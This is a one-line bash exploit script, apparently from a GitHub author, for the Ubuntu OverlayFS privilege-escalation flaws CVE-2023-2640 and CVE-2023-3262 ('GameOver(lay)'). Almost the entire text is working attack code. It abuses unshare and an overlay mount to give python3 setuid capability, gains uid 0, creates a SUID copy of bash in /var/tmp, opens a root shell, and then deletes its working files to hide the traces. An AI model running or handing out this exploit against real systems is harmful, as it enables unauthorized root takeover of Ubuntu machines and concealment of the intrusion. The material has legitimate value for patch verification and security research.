#!/bin/bash # CVE-2023-2640 CVE-2023-3262: GameOver(lay) Ubuntu Privilege Escalation # by g1vi https://github.com/g1vi # October 2023 echo "[+] You should be root now" echo "[+] Type 'exit' to finish and leave the house cleaned" unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'